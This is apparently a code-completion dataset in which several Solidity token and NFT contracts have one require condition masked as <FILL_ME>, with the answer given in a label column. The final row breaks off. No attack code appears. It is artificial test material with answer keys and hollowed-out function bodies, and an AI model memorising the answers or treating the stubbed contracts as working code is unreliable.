comment
stringlengths 1
211
⌀ | input
stringlengths 155
20k
| label
stringlengths 4
1k
| original_idx
int64 203
514k
| predicate
stringlengths 1
1k
|
|---|---|---|---|---|
"Limit Exceeded, Ser" | pragma solidity ^0.8.9;
//Custom Contract for The Black Box Protocol™ (www.blackboxprtcl.io) by Langman Studios© 2022 All rights reserved.
//The Black Box Protocol™ NFTs are governed by the following terms and conditions: https://blackboxprtcl.io/legal/blackboxprtcl_tc
/// Libraries
contract BlackBoxPrtcl is
Ownable,
ERC721,
ERC721Burnable,
ERC721Pausable,
ReentrancyGuard
{
/// Variables
using SafeMath for uint256;
using SafeMath for uint32;
using Strings for uint256;
using Address for address;
using MerkleProof for bytes32[];
using Counters for Counters.Counter;
/// Contract States
enum BoxStatus {
DONOTOPEN,
SOCIETY,
FREEMINT,
STEALTH
}
/// TODO:change
Counters.Counter private _tokenIds;
bytes32 private _merkleRoot;
bool public locked;
bool public revealed;
BoxStatus public _boxStatus;
string private _baseTokenURI;
string private _baseExtension;
string public _notRevealedUri;
address payable private _mintingBeneficiary;
uint32 private _BBOXES;
uint32 private _STEALTH_MINT_LIMIT;
uint256 public PRICE;
mapping(address => bool) private _claimed;
/// Events
event BoxMinted(address indexed to, uint256 indexed tokenId);
event StatusChanged(BoxStatus indexed _boxStatus);
/// Modifiers
modifier onlyIfAvailable(uint32 _amount) {
}
modifier notLocked() {
}
modifier notRevealed() {
}
modifier Revealed() {
}
/// What we imagine might be inside the box, but we didn't open any, so we really don't know
constructor(
string memory name,
string memory symbol,
string memory baseTokenURI,
string memory notRevealedUri,
bytes32 merkleRoot,
address mbeneficiary
) ERC721(name, symbol) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function changeMintCost(uint256 mintCost) public onlyOwner {
}
function Enter(address _to, uint32 _amount) private {
}
/// Society + Free Mint + Blacklisted T1/T2/T3
function freemint(
uint32 _amount,
bytes32[] memory _proof,
uint32 freeTokensAmount,
uint32 tier
) private {
require(
_boxStatus >= BoxStatus(tier),
"please wait the next sale phase to mint"
);
if (_claimed[msg.sender]) {
require(
balanceOf(msg.sender).add(_amount) <= 10 + freeTokensAmount,
"Limit Exceeded, Ser"
);
Enter(msg.sender, _amount);
} else {
require(<FILL_ME>)
isAllowedFreeMint(_proof, freeTokensAmount, tier);
_claimed[msg.sender] = true;
Enter(msg.sender, uint32(_amount.add(freeTokensAmount)));
}
}
/// LET'S GET STEALTHYYYYY
function stealthMint(uint32 _amount) private {
}
function mint(
uint32 _amount,
bytes32[] memory _proof,
uint32 freeTokensAmount,
uint32 tier
) external payable whenNotPaused onlyIfAvailable(_amount) nonReentrant {
}
function adminMint(address to, uint32 _amount)
external
whenNotPaused
nonReentrant
onlyOwner
{
}
/// Gearshift
function setStatus(BoxStatus _status) external onlyOwner {
}
function changeBaseURI(string memory newBaseURI)
public
onlyOwner
notLocked
{
}
function changeNotRevealedURI(string memory newNotRevealedUri)
public
onlyOwner
notRevealed
{
}
function reveal() public onlyOwner notRevealed {
}
function lockMetadata() public onlyOwner notLocked Revealed {
}
function changeMerkleRoot(bytes32 merkleRoot) public onlyOwner {
}
function isAllowedFreeMint(
bytes32[] memory _proof,
uint32 freeTokensAmount,
uint32 tier
) internal view returns (bool) {
}
function currentSupply() external view returns (uint256) {
}
function changeMintBeneficiary(address beneficiary) public onlyOwner {
}
function pause() public virtual onlyOwner {
}
function unpause() public virtual onlyOwner {
}
/// You shouldn't open, you know this, put you can press buttons and I will spit something out
function getContractState()
external
view
returns (
BoxStatus boxStatus_,
uint256 bboxes_,
uint256 price_,
uint256 currentTokenId_,
uint256 boxesLeft_
)
{
}
function hasFreeMint(
address account,
bytes32[] memory _proof,
uint32 freeTokensAmount,
uint32 tier
) external view returns (bool allowedForFreeMint, bool freeTokensClaimed) {
}
function tokenMinted(uint256 _tokenId) public view returns (bool) {
}
function withdrawAll() external payable onlyOwner {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override(ERC721, ERC721Pausable) {
}
/// #thinkoutside #betheutility
}
| balanceOf(msg.sender).add(_amount)<=10,"Limit Exceeded, Ser" | 29,133 | balanceOf(msg.sender).add(_amount)<=10 |
"YOU HAVE HAD ENOUGH BOXES, RELAX" | pragma solidity ^0.8.9;
//Custom Contract for The Black Box Protocol™ (www.blackboxprtcl.io) by Langman Studios© 2022 All rights reserved.
//The Black Box Protocol™ NFTs are governed by the following terms and conditions: https://blackboxprtcl.io/legal/blackboxprtcl_tc
/// Libraries
contract BlackBoxPrtcl is
Ownable,
ERC721,
ERC721Burnable,
ERC721Pausable,
ReentrancyGuard
{
/// Variables
using SafeMath for uint256;
using SafeMath for uint32;
using Strings for uint256;
using Address for address;
using MerkleProof for bytes32[];
using Counters for Counters.Counter;
/// Contract States
enum BoxStatus {
DONOTOPEN,
SOCIETY,
FREEMINT,
STEALTH
}
/// TODO:change
Counters.Counter private _tokenIds;
bytes32 private _merkleRoot;
bool public locked;
bool public revealed;
BoxStatus public _boxStatus;
string private _baseTokenURI;
string private _baseExtension;
string public _notRevealedUri;
address payable private _mintingBeneficiary;
uint32 private _BBOXES;
uint32 private _STEALTH_MINT_LIMIT;
uint256 public PRICE;
mapping(address => bool) private _claimed;
/// Events
event BoxMinted(address indexed to, uint256 indexed tokenId);
event StatusChanged(BoxStatus indexed _boxStatus);
/// Modifiers
modifier onlyIfAvailable(uint32 _amount) {
}
modifier notLocked() {
}
modifier notRevealed() {
}
modifier Revealed() {
}
/// What we imagine might be inside the box, but we didn't open any, so we really don't know
constructor(
string memory name,
string memory symbol,
string memory baseTokenURI,
string memory notRevealedUri,
bytes32 merkleRoot,
address mbeneficiary
) ERC721(name, symbol) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function changeMintCost(uint256 mintCost) public onlyOwner {
}
function Enter(address _to, uint32 _amount) private {
}
/// Society + Free Mint + Blacklisted T1/T2/T3
function freemint(
uint32 _amount,
bytes32[] memory _proof,
uint32 freeTokensAmount,
uint32 tier
) private {
}
/// LET'S GET STEALTHYYYYY
function stealthMint(uint32 _amount) private {
require(<FILL_ME>)
Enter(msg.sender, _amount);
}
function mint(
uint32 _amount,
bytes32[] memory _proof,
uint32 freeTokensAmount,
uint32 tier
) external payable whenNotPaused onlyIfAvailable(_amount) nonReentrant {
}
function adminMint(address to, uint32 _amount)
external
whenNotPaused
nonReentrant
onlyOwner
{
}
/// Gearshift
function setStatus(BoxStatus _status) external onlyOwner {
}
function changeBaseURI(string memory newBaseURI)
public
onlyOwner
notLocked
{
}
function changeNotRevealedURI(string memory newNotRevealedUri)
public
onlyOwner
notRevealed
{
}
function reveal() public onlyOwner notRevealed {
}
function lockMetadata() public onlyOwner notLocked Revealed {
}
function changeMerkleRoot(bytes32 merkleRoot) public onlyOwner {
}
function isAllowedFreeMint(
bytes32[] memory _proof,
uint32 freeTokensAmount,
uint32 tier
) internal view returns (bool) {
}
function currentSupply() external view returns (uint256) {
}
function changeMintBeneficiary(address beneficiary) public onlyOwner {
}
function pause() public virtual onlyOwner {
}
function unpause() public virtual onlyOwner {
}
/// You shouldn't open, you know this, put you can press buttons and I will spit something out
function getContractState()
external
view
returns (
BoxStatus boxStatus_,
uint256 bboxes_,
uint256 price_,
uint256 currentTokenId_,
uint256 boxesLeft_
)
{
}
function hasFreeMint(
address account,
bytes32[] memory _proof,
uint32 freeTokensAmount,
uint32 tier
) external view returns (bool allowedForFreeMint, bool freeTokensClaimed) {
}
function tokenMinted(uint256 _tokenId) public view returns (bool) {
}
function withdrawAll() external payable onlyOwner {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override(ERC721, ERC721Pausable) {
}
/// #thinkoutside #betheutility
}
| balanceOf(msg.sender).add(_amount)<=_STEALTH_MINT_LIMIT,"YOU HAVE HAD ENOUGH BOXES, RELAX" | 29,133 | balanceOf(msg.sender).add(_amount)<=_STEALTH_MINT_LIMIT |
"Base URI cannot be same as previous" | pragma solidity ^0.8.9;
//Custom Contract for The Black Box Protocol™ (www.blackboxprtcl.io) by Langman Studios© 2022 All rights reserved.
//The Black Box Protocol™ NFTs are governed by the following terms and conditions: https://blackboxprtcl.io/legal/blackboxprtcl_tc
/// Libraries
contract BlackBoxPrtcl is
Ownable,
ERC721,
ERC721Burnable,
ERC721Pausable,
ReentrancyGuard
{
/// Variables
using SafeMath for uint256;
using SafeMath for uint32;
using Strings for uint256;
using Address for address;
using MerkleProof for bytes32[];
using Counters for Counters.Counter;
/// Contract States
enum BoxStatus {
DONOTOPEN,
SOCIETY,
FREEMINT,
STEALTH
}
/// TODO:change
Counters.Counter private _tokenIds;
bytes32 private _merkleRoot;
bool public locked;
bool public revealed;
BoxStatus public _boxStatus;
string private _baseTokenURI;
string private _baseExtension;
string public _notRevealedUri;
address payable private _mintingBeneficiary;
uint32 private _BBOXES;
uint32 private _STEALTH_MINT_LIMIT;
uint256 public PRICE;
mapping(address => bool) private _claimed;
/// Events
event BoxMinted(address indexed to, uint256 indexed tokenId);
event StatusChanged(BoxStatus indexed _boxStatus);
/// Modifiers
modifier onlyIfAvailable(uint32 _amount) {
}
modifier notLocked() {
}
modifier notRevealed() {
}
modifier Revealed() {
}
/// What we imagine might be inside the box, but we didn't open any, so we really don't know
constructor(
string memory name,
string memory symbol,
string memory baseTokenURI,
string memory notRevealedUri,
bytes32 merkleRoot,
address mbeneficiary
) ERC721(name, symbol) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function changeMintCost(uint256 mintCost) public onlyOwner {
}
function Enter(address _to, uint32 _amount) private {
}
/// Society + Free Mint + Blacklisted T1/T2/T3
function freemint(
uint32 _amount,
bytes32[] memory _proof,
uint32 freeTokensAmount,
uint32 tier
) private {
}
/// LET'S GET STEALTHYYYYY
function stealthMint(uint32 _amount) private {
}
function mint(
uint32 _amount,
bytes32[] memory _proof,
uint32 freeTokensAmount,
uint32 tier
) external payable whenNotPaused onlyIfAvailable(_amount) nonReentrant {
}
function adminMint(address to, uint32 _amount)
external
whenNotPaused
nonReentrant
onlyOwner
{
}
/// Gearshift
function setStatus(BoxStatus _status) external onlyOwner {
}
function changeBaseURI(string memory newBaseURI)
public
onlyOwner
notLocked
{
require(<FILL_ME>)
_baseTokenURI = newBaseURI;
}
function changeNotRevealedURI(string memory newNotRevealedUri)
public
onlyOwner
notRevealed
{
}
function reveal() public onlyOwner notRevealed {
}
function lockMetadata() public onlyOwner notLocked Revealed {
}
function changeMerkleRoot(bytes32 merkleRoot) public onlyOwner {
}
function isAllowedFreeMint(
bytes32[] memory _proof,
uint32 freeTokensAmount,
uint32 tier
) internal view returns (bool) {
}
function currentSupply() external view returns (uint256) {
}
function changeMintBeneficiary(address beneficiary) public onlyOwner {
}
function pause() public virtual onlyOwner {
}
function unpause() public virtual onlyOwner {
}
/// You shouldn't open, you know this, put you can press buttons and I will spit something out
function getContractState()
external
view
returns (
BoxStatus boxStatus_,
uint256 bboxes_,
uint256 price_,
uint256 currentTokenId_,
uint256 boxesLeft_
)
{
}
function hasFreeMint(
address account,
bytes32[] memory _proof,
uint32 freeTokensAmount,
uint32 tier
) external view returns (bool allowedForFreeMint, bool freeTokensClaimed) {
}
function tokenMinted(uint256 _tokenId) public view returns (bool) {
}
function withdrawAll() external payable onlyOwner {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override(ERC721, ERC721Pausable) {
}
/// #thinkoutside #betheutility
}
| (keccak256(abi.encodePacked((_baseTokenURI)))!=keccak256(abi.encodePacked((newBaseURI)))),"Base URI cannot be same as previous" | 29,133 | (keccak256(abi.encodePacked((_baseTokenURI)))!=keccak256(abi.encodePacked((newBaseURI)))) |
"Base URI cannot be same as previous" | pragma solidity ^0.8.9;
//Custom Contract for The Black Box Protocol™ (www.blackboxprtcl.io) by Langman Studios© 2022 All rights reserved.
//The Black Box Protocol™ NFTs are governed by the following terms and conditions: https://blackboxprtcl.io/legal/blackboxprtcl_tc
/// Libraries
contract BlackBoxPrtcl is
Ownable,
ERC721,
ERC721Burnable,
ERC721Pausable,
ReentrancyGuard
{
/// Variables
using SafeMath for uint256;
using SafeMath for uint32;
using Strings for uint256;
using Address for address;
using MerkleProof for bytes32[];
using Counters for Counters.Counter;
/// Contract States
enum BoxStatus {
DONOTOPEN,
SOCIETY,
FREEMINT,
STEALTH
}
/// TODO:change
Counters.Counter private _tokenIds;
bytes32 private _merkleRoot;
bool public locked;
bool public revealed;
BoxStatus public _boxStatus;
string private _baseTokenURI;
string private _baseExtension;
string public _notRevealedUri;
address payable private _mintingBeneficiary;
uint32 private _BBOXES;
uint32 private _STEALTH_MINT_LIMIT;
uint256 public PRICE;
mapping(address => bool) private _claimed;
/// Events
event BoxMinted(address indexed to, uint256 indexed tokenId);
event StatusChanged(BoxStatus indexed _boxStatus);
/// Modifiers
modifier onlyIfAvailable(uint32 _amount) {
}
modifier notLocked() {
}
modifier notRevealed() {
}
modifier Revealed() {
}
/// What we imagine might be inside the box, but we didn't open any, so we really don't know
constructor(
string memory name,
string memory symbol,
string memory baseTokenURI,
string memory notRevealedUri,
bytes32 merkleRoot,
address mbeneficiary
) ERC721(name, symbol) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function changeMintCost(uint256 mintCost) public onlyOwner {
}
function Enter(address _to, uint32 _amount) private {
}
/// Society + Free Mint + Blacklisted T1/T2/T3
function freemint(
uint32 _amount,
bytes32[] memory _proof,
uint32 freeTokensAmount,
uint32 tier
) private {
}
/// LET'S GET STEALTHYYYYY
function stealthMint(uint32 _amount) private {
}
function mint(
uint32 _amount,
bytes32[] memory _proof,
uint32 freeTokensAmount,
uint32 tier
) external payable whenNotPaused onlyIfAvailable(_amount) nonReentrant {
}
function adminMint(address to, uint32 _amount)
external
whenNotPaused
nonReentrant
onlyOwner
{
}
/// Gearshift
function setStatus(BoxStatus _status) external onlyOwner {
}
function changeBaseURI(string memory newBaseURI)
public
onlyOwner
notLocked
{
}
function changeNotRevealedURI(string memory newNotRevealedUri)
public
onlyOwner
notRevealed
{
require(<FILL_ME>)
_notRevealedUri = newNotRevealedUri;
}
function reveal() public onlyOwner notRevealed {
}
function lockMetadata() public onlyOwner notLocked Revealed {
}
function changeMerkleRoot(bytes32 merkleRoot) public onlyOwner {
}
function isAllowedFreeMint(
bytes32[] memory _proof,
uint32 freeTokensAmount,
uint32 tier
) internal view returns (bool) {
}
function currentSupply() external view returns (uint256) {
}
function changeMintBeneficiary(address beneficiary) public onlyOwner {
}
function pause() public virtual onlyOwner {
}
function unpause() public virtual onlyOwner {
}
/// You shouldn't open, you know this, put you can press buttons and I will spit something out
function getContractState()
external
view
returns (
BoxStatus boxStatus_,
uint256 bboxes_,
uint256 price_,
uint256 currentTokenId_,
uint256 boxesLeft_
)
{
}
function hasFreeMint(
address account,
bytes32[] memory _proof,
uint32 freeTokensAmount,
uint32 tier
) external view returns (bool allowedForFreeMint, bool freeTokensClaimed) {
}
function tokenMinted(uint256 _tokenId) public view returns (bool) {
}
function withdrawAll() external payable onlyOwner {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override(ERC721, ERC721Pausable) {
}
/// #thinkoutside #betheutility
}
| (keccak256(abi.encodePacked((newNotRevealedUri)))!=keccak256(abi.encodePacked((_notRevealedUri)))),"Base URI cannot be same as previous" | 29,133 | (keccak256(abi.encodePacked((newNotRevealedUri)))!=keccak256(abi.encodePacked((_notRevealedUri)))) |
"Caller is not Allowed free mints" | pragma solidity ^0.8.9;
//Custom Contract for The Black Box Protocol™ (www.blackboxprtcl.io) by Langman Studios© 2022 All rights reserved.
//The Black Box Protocol™ NFTs are governed by the following terms and conditions: https://blackboxprtcl.io/legal/blackboxprtcl_tc
/// Libraries
contract BlackBoxPrtcl is
Ownable,
ERC721,
ERC721Burnable,
ERC721Pausable,
ReentrancyGuard
{
/// Variables
using SafeMath for uint256;
using SafeMath for uint32;
using Strings for uint256;
using Address for address;
using MerkleProof for bytes32[];
using Counters for Counters.Counter;
/// Contract States
enum BoxStatus {
DONOTOPEN,
SOCIETY,
FREEMINT,
STEALTH
}
/// TODO:change
Counters.Counter private _tokenIds;
bytes32 private _merkleRoot;
bool public locked;
bool public revealed;
BoxStatus public _boxStatus;
string private _baseTokenURI;
string private _baseExtension;
string public _notRevealedUri;
address payable private _mintingBeneficiary;
uint32 private _BBOXES;
uint32 private _STEALTH_MINT_LIMIT;
uint256 public PRICE;
mapping(address => bool) private _claimed;
/// Events
event BoxMinted(address indexed to, uint256 indexed tokenId);
event StatusChanged(BoxStatus indexed _boxStatus);
/// Modifiers
modifier onlyIfAvailable(uint32 _amount) {
}
modifier notLocked() {
}
modifier notRevealed() {
}
modifier Revealed() {
}
/// What we imagine might be inside the box, but we didn't open any, so we really don't know
constructor(
string memory name,
string memory symbol,
string memory baseTokenURI,
string memory notRevealedUri,
bytes32 merkleRoot,
address mbeneficiary
) ERC721(name, symbol) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function changeMintCost(uint256 mintCost) public onlyOwner {
}
function Enter(address _to, uint32 _amount) private {
}
/// Society + Free Mint + Blacklisted T1/T2/T3
function freemint(
uint32 _amount,
bytes32[] memory _proof,
uint32 freeTokensAmount,
uint32 tier
) private {
}
/// LET'S GET STEALTHYYYYY
function stealthMint(uint32 _amount) private {
}
function mint(
uint32 _amount,
bytes32[] memory _proof,
uint32 freeTokensAmount,
uint32 tier
) external payable whenNotPaused onlyIfAvailable(_amount) nonReentrant {
}
function adminMint(address to, uint32 _amount)
external
whenNotPaused
nonReentrant
onlyOwner
{
}
/// Gearshift
function setStatus(BoxStatus _status) external onlyOwner {
}
function changeBaseURI(string memory newBaseURI)
public
onlyOwner
notLocked
{
}
function changeNotRevealedURI(string memory newNotRevealedUri)
public
onlyOwner
notRevealed
{
}
function reveal() public onlyOwner notRevealed {
}
function lockMetadata() public onlyOwner notLocked Revealed {
}
function changeMerkleRoot(bytes32 merkleRoot) public onlyOwner {
}
function isAllowedFreeMint(
bytes32[] memory _proof,
uint32 freeTokensAmount,
uint32 tier
) internal view returns (bool) {
require(<FILL_ME>)
return true;
}
function currentSupply() external view returns (uint256) {
}
function changeMintBeneficiary(address beneficiary) public onlyOwner {
}
function pause() public virtual onlyOwner {
}
function unpause() public virtual onlyOwner {
}
/// You shouldn't open, you know this, put you can press buttons and I will spit something out
function getContractState()
external
view
returns (
BoxStatus boxStatus_,
uint256 bboxes_,
uint256 price_,
uint256 currentTokenId_,
uint256 boxesLeft_
)
{
}
function hasFreeMint(
address account,
bytes32[] memory _proof,
uint32 freeTokensAmount,
uint32 tier
) external view returns (bool allowedForFreeMint, bool freeTokensClaimed) {
}
function tokenMinted(uint256 _tokenId) public view returns (bool) {
}
function withdrawAll() external payable onlyOwner {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override(ERC721, ERC721Pausable) {
}
/// #thinkoutside #betheutility
}
| MerkleProof.verify(_proof,_merkleRoot,keccak256(abi.encodePacked(msg.sender,freeTokensAmount,tier))),"Caller is not Allowed free mints" | 29,133 | MerkleProof.verify(_proof,_merkleRoot,keccak256(abi.encodePacked(msg.sender,freeTokensAmount,tier))) |
null | pragma solidity ^0.4.11;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
}
}
contract RDT is MintableToken {
string public name = "Rate Date Token";
string public symbol = "RDT";
uint8 public decimals = 18;
/* 50 000 000 cap for RDT tokens */
uint256 public cap = 50000000000000000000000000;
/* freeze transfer until 15 Apr 2018 */
uint256 transferFreezeUntil = 1523793600;
/* End mint 28 Mar 2018(ICO end date) */
uint256 endMint = 1522260000;
/* freeze team tokens until Mar 2019 */
uint256 teamFreeze = 1551398400;
address public teamWallet = 0x52853f8189482C059ceA50F5BcFf849FcA311a2A;
function RDT() public
{
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool){
require(endMint >= now);
require(<FILL_ME>)
return super.mint(_to, _amount);
}
modifier notFrozen(){
}
function transfer(address _to, uint256 _value) notFrozen public returns (bool) {
}
function transferFrom(address _from, address _to, uint256 _value) notFrozen public returns (bool){
}
}
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale.
* Crowdsales have a start and end timestamps, where investors can make
* token purchases and the crowdsale will assign them tokens based
* on a token per ETH rate. Funds collected are forwarded to a wallet
* as they arrive.
*/
contract Crowdsale {
using SafeMath for uint256;
// The token being sold
MintableToken public token;
// start and end timestamps where investments are allowed (both inclusive)
uint256 public startTime;
uint256 public endTime;
// address where funds are collected
address public wallet;
// how many token units a buyer gets per wei
uint256 public rate;
// amount of raised money in wei
uint256 public weiRaised;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) public {
}
// creates the token to be sold.
// override this method to have crowdsale of a specific mintable token.
function createTokenContract() internal returns (MintableToken) {
}
// fallback function can be used to buy tokens
function () external payable {
}
// Override this method to have a way to add business logic to your crowdsale when buying
function getTokenAmount(uint256 weiAmount) internal view returns(uint256) {
}
// low level token purchase function
function buyTokens(address beneficiary) public payable {
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds() internal {
}
// @return true if the transaction can buy tokens
function validPurchase() internal view returns (bool) {
}
// @return true if crowdsale event has ended
function hasEnded() public view returns (bool) {
}
}
/**
* @title CappedCrowdsale
* @dev Extension of Crowdsale with a max amount of funds raised
*/
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
function CappedCrowdsale(uint256 _cap) public {
}
// overriding Crowdsale#validPurchase to add extra cap logic
// @return true if investors can buy at the moment
function validPurchase() internal view returns (bool) {
}
// overriding Crowdsale#hasEnded to add cap logic
// @return true if crowdsale event has ended
function hasEnded() public view returns (bool) {
}
}
contract PreSale is CappedCrowdsale, Ownable{
uint256 public minAmount = 1 ether/10;
function PreSale(uint256 _startTime, uint256 _endTime, uint256 _rate, uint256 _cap, address _wallet) public
CappedCrowdsale(_cap)
Crowdsale(_startTime, _endTime, _rate, _wallet)
{
}
function validPurchase() internal view returns (bool){
}
function createTokenContract() internal returns (MintableToken) {
}
function startICO(address contractICO) onlyOwner public returns(bool){
}
}
| totalSupply.add(_amount)<=cap | 29,156 | totalSupply.add(_amount)<=cap |
"not closed" | // SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.6;
import "IERC20.sol";
import "SafeERC20.sol";
import "SafeMath.sol";
import "IVaderBond.sol";
import "IPreCommit.sol";
import "Ownable.sol";
contract PreCommit is IPreCommit, Ownable {
using SafeERC20 for IERC20;
using SafeMath for uint;
event Commit(address indexed depositor, uint amount, uint index);
event UnCommit(address indexed depositor, uint index, uint last);
struct CommitStruct {
uint amount;
address depositor;
}
IVaderBond public immutable bond;
IERC20 public immutable tokenIn;
uint public maxCommits;
uint public minAmountIn;
uint public maxAmountIn;
// total amount commited
uint public total;
// open for users to commit
bool public open;
CommitStruct[] public commits;
constructor(address _bond, address _tokenIn) {
}
modifier isOpen() {
}
modifier isClosed() {
require(<FILL_ME>)
_;
}
function count() external view returns (uint) {
}
function start(
uint _maxCommits,
uint _minAmountIn,
uint _maxAmountIn
) external onlyOwner isClosed {
}
function commit(address _depositor, uint _amount) external override isOpen {
}
function uncommit(uint _index) external isOpen {
}
// NOTE: total debt >= Bond.payoutFor(maxAmountIn * maxCommits)
function init(
uint _controlVariable,
uint _vestingTerm,
uint _minPrice,
uint _maxPayout,
uint _maxDebt,
uint _initialDebt
) external onlyOwner isOpen {
}
function acceptBondOwner() external onlyOwner {
}
function nominateBondOwner() external onlyOwner {
}
function recover(address _token) external onlyOwner {
}
}
| !open,"not closed" | 29,159 | !open |
"Exceeds max supply" | //SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract Kevoodles is ERC721A, Ownable {
uint256 public maxSupply = 2222;
uint256 public price = 0.022 ether;
uint256 public freeMints = 222;
string public baseURI;
bool public baseURILocked;
address internal payee;
event Mint(address indexed _to, uint256 _amount);
constructor(address _payee) ERC721A("Kevoodles", "KEV") {
}
function mint(uint256 _amount) external payable {
require(_amount <= 20, "Max 20 per transaction");
require(<FILL_ME>)
if (totalSupply() + _amount > freeMints) {
if (totalSupply() < freeMints) {
require(msg.value >= price * (totalSupply() + _amount - freeMints), "Sent incorrect Ether");
} else {
require(msg.value >= price * _amount, "Sent incorrect Ether");
}
}
_safeMint(msg.sender, _amount);
emit Mint(msg.sender, _amount);
}
function setBaseURI(string memory _uri) external onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function withdraw() external onlyOwner {
}
}
| totalSupply()+_amount<maxSupply,"Exceeds max supply" | 29,167 | totalSupply()+_amount<maxSupply |
'ERC1155Tradable: must have admin or owner role' | // SPDX-License-Identifier: MIT
